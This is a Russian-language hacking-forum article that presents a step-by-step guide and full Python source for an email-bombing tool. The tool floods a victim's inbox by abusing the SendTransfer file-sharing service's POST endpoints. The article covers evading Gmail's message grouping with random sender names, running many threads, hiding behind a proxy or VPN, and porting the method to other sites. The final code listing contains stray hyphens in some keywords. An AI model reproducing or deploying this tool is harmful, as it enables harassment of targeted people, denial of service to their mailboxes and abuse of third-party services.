• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создание скрипта для e-mail спама

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
У вас должно быть более 3 сообщений для просмотра скрытого контента.
Содержание:

1. Вступление
2. Термины
3. Варианты реализации
3.1 Создание блок-схемы
4.Реализация скрипта
5. Тестирование
6. Заключение


1. Вступление

В сети интернет очень часто упоминаются различные программы, именуемые спамерами SMS. Такой софт встречается, как в виде программы для ПК, так и веб-приложения на сайте. В нашем же случае речь пойдет о спам-атаках на электронный почтовый ящик жертвы, а не номер мобильного телефона. Email Spammer создается с целью захламления почты жертвы. Такие действия приводят либо к заструднению работы с ящиком, либо и вовсе к отказу его использования. Особенно это касается пользователей, которые используют десктопные приложения. А так как email Spammer’ов – в сети довольно мало, я решил подробно описать работу софта, который способен заспамить определенный почтовый ящик, и не будет оставлять в покое почту указанной жертвы.

Да, уже существуют и программные обеспечения (phillipp/spam_email, Juniorn1003/Email-Spammer ), и онлайн-сервисы (к примеру: MailBait - Fill Your INBOX ) , которые предоставляют такие услуги, но согласитесь, всегда удобнее использовать свой собственный софт.

Ведь его в любой момент можно при необходимости переделать до неузнаваемости, либо усовершенствовать.


2. Термины

Описание непонятных для читателя терминов/словосочетаний

POST запрос – запрос от клиента к серверу для приема информации, с дальнейшей её обработкой. Эту информацию передает в «теле», чем и отличается от GET запроса. В GET запросе информация передается методом URL ссылок.

3. Варианты реализации

Вариантов для создания e-mail спама есть 4:
  • Отправлять письма с различных сервисов, и создавать спам, с помощью писем от восстановления пароля.
  • Отправлять собственные письма, через собственный почтовый сервер
  • Автоматическое создание почтовых ящиков на различных площадках, и дальнейшая их эксплуатация для создания писем.
  • Использовать сервисы для анонимной отправки сообщений.
Первый – наилучший, ведь если на почтовый ящик жертвы создано пару аккаунтов из популярных сервисов, таких как: Facebook, YouTube, Twitter и т.д., то можно добиться постоянной отправки писем, которые будут забивать почтовый ящик.

Но из-за постоянно разных сервисов, создания «настоящих» POST запросов будет усложнять работу скрипта. Пример POST запроса я взял с восстановления пароля от Twitter’a:

1563457136429.png

Рисунок 1: большое количество значений в Header POST запроса

Только в пункте Cookie пришлось бы постоянно менять значения _twitter_sess, ct0, kdt и т.д.

Второй – максимально простой, но, как и первый способ, имеет свои минусы. Прежде всего, чтобы создавать свои собственные письма, нужно ставить свой собственный почтовый сервер, что уже совсем неудобно. Так же, если сервер уже установлен, то ваше письмо может не пройти из-за фаерволов и спам-фильтров крупных почтовых сервисов.

Третий вариант не подходит из-за капчи (в некоторых случаях указание номера) при регистрации почтовых ящиков на абсолютно всех сервисах:

1563457431686.png


1563457474682.png


1563457523076.png

Рисунок 2-4: демонстрация вариантов «анти-бот» регистрации

И остается четвертый вариант, который не имеет явных трудностей, и весьма реализуем.

Выбрав его, я начал поиски такого онлайн-сервиса, который бы не требовал подтверждения ReCAPTCH’и подобных ей запросов.

Были найдены следующие сайты: anonymouse.org, http://send-email.org/ .

Но заполнив форму на сайтах, я не дождался ни одного сообщения на почтовый ящик Gmail. Возможно, их сервисы не отвечали требованиям Gmail’a.

Для спавки, anonymouse.org работал, но из-за того, что сервис, для анонимности своих посетителей, отправлял сообщение в случайно выбранное время в течении 12 часов, спам был бы неконтролируемым.

Вскоре, я нашел онлайн-сервис (SendTransfer | Send Large Files), который анонимно отправлял файлы адресату. Конечно, не то, что хотелось, но использовать можно.

Убедившись, что письма доходят до адресата, я начал разбирать запросы, которые идут на сервер.

Использовав встроенные инструменты разработчика от Firefox, были перехвачены 2 POST запроса, которые отсылали веденную мной информацию:

1563457841870.png


1563459132246.png

Рисунок 5-6: POST запросы, которые в дальнейшем будут использованы в python скрипте.


3.1 Создание блок-схемы

Предварительное создание блок-схемы поможет в деталях видеть предстоящую работу.

1563459185747.png
Рисунок 7: блок-схема описывающая будущий скрипт

4. Реализация скрипта

Писать скрипт я буду на Python версии 3.7, и использовать интегрированная среду разработки – PyCharm.

И так, перед началом, нужно выяснить, какие именно библиотеки будут использоваться.

Прежде всего, библиотека requests будет автоматизировано создавать POST запросы для сайта.
  • Random – эта библиотека поможет в генерации случайных чисел. В подразделе HEADERS, описано более детально.
  • Argparse – библиотека для обработки веденных данных.
  • Threads – эта библиотека помогает создать многопоточный скрипт.
  • Sys – будет использоваться только для безопасной остановки скрипта
Приступим к детальному анализу POST запроса, который был успешно сохранен.


HEADERS

Сохранив Header POST запроса, с Firefox’a, я начал редактировать его для дальнейшей отправки, а конкретнее, создавать словарь:
Python:
:
header2 = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": "https://www.sendtransfer.com/",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "137",
"Connection": "keep-alive",
"Cookie": "odesilatel=test%40gmail.com; PHPSESSID=..."}
Попробовав отправлять не полные Headers, я получил следующее:

1 Header POST запроса:
Python:
header1 = {"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------3",
"Content-Length": "371",
"Connection": "keep-alive",
"Cookie": "odesilatel=test%40gmail.com; PHPSESSID=..."}
2 Header POST запроса:
Python:
header2 = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "137",
"Connection": "keep-alive",
"Cookie": "odesilatel=test%40gmail.com; PHPSESSID=..."}
Так же, при создании скрипта, появился вопрос, как можно генерировать постоянно новый PHPSESSID? Ведь если в области “Cookie” убрать полностью эту область, то сервер приминает запрос, но сообщения на почтовый ящик не поступают.

В итоге все оказалось куда проще, прописав в этой области значение “aaa”, сервер принимал такие POST запросы, и отсылал письмо на указанный почтовый ящик.

Еще одной небольшой доработкой, стало генерирование имя адресанта.

В некоторых почтовых сервисах, а особенно в Gmail, если название письма имеет одинаковое значение, такие письма заносятся в свой каталог, и не засоряет почтовый ящик жертвы:

1563459682107.png

Рисунок 7: автоматическое создание каталога из сообщений с идентичными названиями

Но, если использовать библиотеку random, то командой random.randint(0, 1000000), будет генерироваться случайное число от 0 до 1 миллиона. В коде случайное число будет представлять переменная randomid.

Беря за основу в качестве переменной, имя почтового ящика адресанта, можно будет избежать создания каталогов:

1563459746653.png

Рисунок 8: полноценный спам почтового ящика


DATA

Обязательной частью является отправка данных на веб-сайт.

В этом случае все данные, которые передаются на веб-сервер, не нужно переделывать в словарь, как это было с Headers, а можно уместить их в обычные строки:
Python:
data1 = "--------------------------3\r\nContent-Disposition: form-data; name=\"cs\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"cspoc\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"as.txt\"\r\nContent-Type: text/plain\r\n\r\n.\r\n-----------------------------3--\r\n"
Ах да, если вы решите что-то изменить в data1, то следующий рисунок объяснит вам некоторые детали:

1563459825882.png

Рисунок 9: объяснение деталей в данных POST запроса

и данные которые связаны со 2 POST запросом:
Python:
data2 = "odesilatel=test% 40gmail.com&zprava=&prijemce=%5B%22test%40gmail.com%22%2C%22test%40gmail.com%22%5D&expirace=7&upozornit=0"
Чтобы в будущем было проще разбираться со скриптом, я составил подобие инструкции и для этой переменной:

1563459859907.png

Рисунок 10: объяснение деталей в data2

Так как и получатель, и отправитель каждый раз будет разный, то в это строку были подключены переменные, и финальная строка выглядела следующим образом:
Python:
data2 = "odesilatel=" + randomid + "%40gmail.com&zprava=codeby&prijemce=%5B%22" + mail.split("@")[0] + "%40"+ mail.split("@")[1] + "%22%2C%22" + mail.split("@")[0] + "%40" + mail.split("@")[1] + "%22%5D&expirace=7&upozornit=0"
Как уже было описано раннее, randomid – случайное число от 0 до 1000000, а mail – получатель, которого указал пользователь.

Дальше рассмотрим непосредственно сам скрипт.

Он состоит из 4 функции:
  1. Parser()
  2. Main()
  3. Withmulti()
  4. Sender()
Функция parser() отвечает за принятие веденных данных от пользователя, и передает в функцию main():
Python:
def parser():
parser = argparse.ArgumentParser(prog='Mail Spammer')

parser.add_argument("-m", "--multi", help="Multithreading", dest="multi", default=False)
parser.add_argument("-t", "--to", help="Destination", dest="mail")
parser.add_argument("-n", "--num", help="Number of letters to send", dest="num", type=int)

args = vars(parser.parse_args()) #словарь со всеми веденными данными
main(args) #вызов следующей функции
Переменная args при каждой сессии будет иметь примерно такой вид:
Код:
{'multi': False, 'mail': 'test@mail.com', 'num': 2}

В функции main() определяется, будет ли использоваться многопоточность:
Python:
def main(args):
if args["multi"] != False:
withmulti(args)
else:
sender(args["num"], args["mail"])
Если пользователь решил использовать многопоточность, и ввел True либо yes (то есть не использовал дефолтное значение False), то запускается функция withmulti(), и передается словарь args.

В ином случае, запускается функция sender(), и в эту функцию передается нужно для отправки количество писем, а получатель этих писем.
Python:
def withmulti(args):
th = (Th.Thread(target=sender, args=[args["num"], args["mail"]]) for i in range(args["multi"]))
for t in th:
t.start()
for t in th:
t.join()
При использовании функции withmulti(), создается n-количество потоков, которые запускают функцию sender(), и передают все те же значения что в функции main().
Python:
def sender(num, mail):
for i in range(num):
randomid = str(random.randint(0, 100000))
print("mail -", randomid + "@gmail.com")


header1 = {"Content-Type": "multipart/form-data; boundary=---------------------------3",
"Content-Length": "371",
"Connection": "keep-alive",
"Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSESSID=aaa"}

data2 = "odesilatel=" + randomid + "%40gmail.com&zprava=codeby&prijemce=%5B%22" + mail.split("@")[0] + "%40" + \
mail.split("@")[1] + "%22%2C%22" + mail.split("@")[0] + "%40" + mail.split("@")[1] + "%22%5D&expirace=7&upozornit=0"

header2 = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "137",
"Connection": "keep-alive",
"Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSESSID=aaa"}

data1 = "--------------------------3\r\nContent-Disposition: form-data; name=\"cs\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"cspoc\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"as.txt\"\r\nContent-Type: text/plain\r\n\r\n.\r\n-----------------------------3--\r\n"

req1 = post("https://www.sendtransfer.com/server/php/", data=data1, headers=header1)
req2 = post("https://www.sendtransfer.com/server/php/mejl.php", data=data2, headers=header2)
print("DONE:", i+1, "/", num,"\nResponse code:", "1 - ", str(req1).split("[")[1].split("]")[0], " 2 - ",
str(req2).split("[")[1].split("]")[0], "\n")
В функции sender(), создается цикл, который используя уже описанные мною переменные data1, header1, data2 и header2.

В цикле создается два POST запроса в определенной последовательности, и вслед за этим выводиться счетчик отправленных сообщений и код ответа от сервера. HTTP код 200 – обозначает, что никаких ошибок не было замечено, и сервер принял запрос.


5. Тестирование

Скрипт работает отлично, и справляется с большим количеством писем:

1563460402511.png

Рисунок 11: демонстрация работоспособности скрипта

1563460419834.png

Рисунок 12: демонстрация работы скрипта



6. Заключение

Прежде всего, не рекомендую использовать скрипт без каких-то прокси либо впн.

Так же, если по какой-то причине, SendTransfer | Send Large Files не принимает POST запросы, то используя инструменты разработчика в Chrom’e/Firefox’e, просмотрите, какие данные отправляет ему браузер.

Если SendTransfer | Send Large Files не работает, то по аналогии вы сможете найти подобный сайт, и подобным путем вылудить POST запросы, и переделать под свои нужды.

И не злоупотребляйте спамом!

На этом все, спасибо за прочтение!

Python:
from requests import *
import random
import argparse
import sys
import threading as Th

def parser():
    parser = argparse.ArgumentParser(prog='Mail Spammer')

    parser.add_argument("-m", "--multi", help="Multithreading?", dest="multi", default=False)
    parser.add_argument("-t", "--to", help="Destination", dest="mail")
    parser.add_argument("-n", "--num", help="Number of letters to send", dest="num", type=int)

    args = vars(parser.parse_args())
    main(args)

def main(args):
    if args["multi"] != False:
        withmulti(args)

    else:
        sender(args["num"], args["mail"])

def withmulti(args):
    th = (Th.Thread(target=sender, args=[args["num"], args["mail"]]) for i in range(args["multi"]))
    for t in th:
        t.start()
    for t in th:
        t.join()

def sender(num, mail):
    for i in range(num):
        randomid = str(random.randint(0, 100000))
        print("mail -", randomid + "@gmail.com")

        header1 = {"Content-Type": "multipart/form-data; boundary=---------------------------3",
                   "Content-Length": "371",
                   "Connection": "keep-alive",
                   "Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSES-SID=aaa"}

        data2 = "odesilatel=" + randomid + "%40gmail.com&zprava=codeby&prijemce=%5B%22" + mail.split("@")[0] + "%40" + \
        mail.split("@")[1] + "%22%2C%22" + mail.split("@")[0] + "%40" + mail.split("@")[1] + "%22%5D&expirace=7&upozornit=0"

        header2 = {"Content-Type": "application/x-www-form-urlencoded; char-set=UTF-8",
                   "X-Requested-With": "XMLHttpRequest",
                   "Content-Length": "137",
                   "Connection": "keep-alive",
                   "Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSES-SID=aaa"}

        data1 = "--------------------------3\r\nContent-Disposition: form-data; name=\"cs\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"cspoc\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"as.txt\"\r\nContent-Type: text/plain\r\n\r\n.\r\n-----------------------------3--\r\n"

        req1 = post("https://www.sendtransfer.com/server/php/", data=data1, headers=header1)
        req2 = post("https://www.sendtransfer.com/server/php/mejl.php", da-ta=data2, headers=header2)
        print("DONE:", i+1, "/", num,"\nResponse code:", "1 - ", str(req1).split("[")[1].split("]")[0], "  2 - ",
              str(req2).split("[")[1].split("]")[0], "\n")

if __name__ == '__main__':
    parser()

print("Finished!")

Страница на github'e - https://github.com/3psirh/EmailSpam

Автор: g00db0y

 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх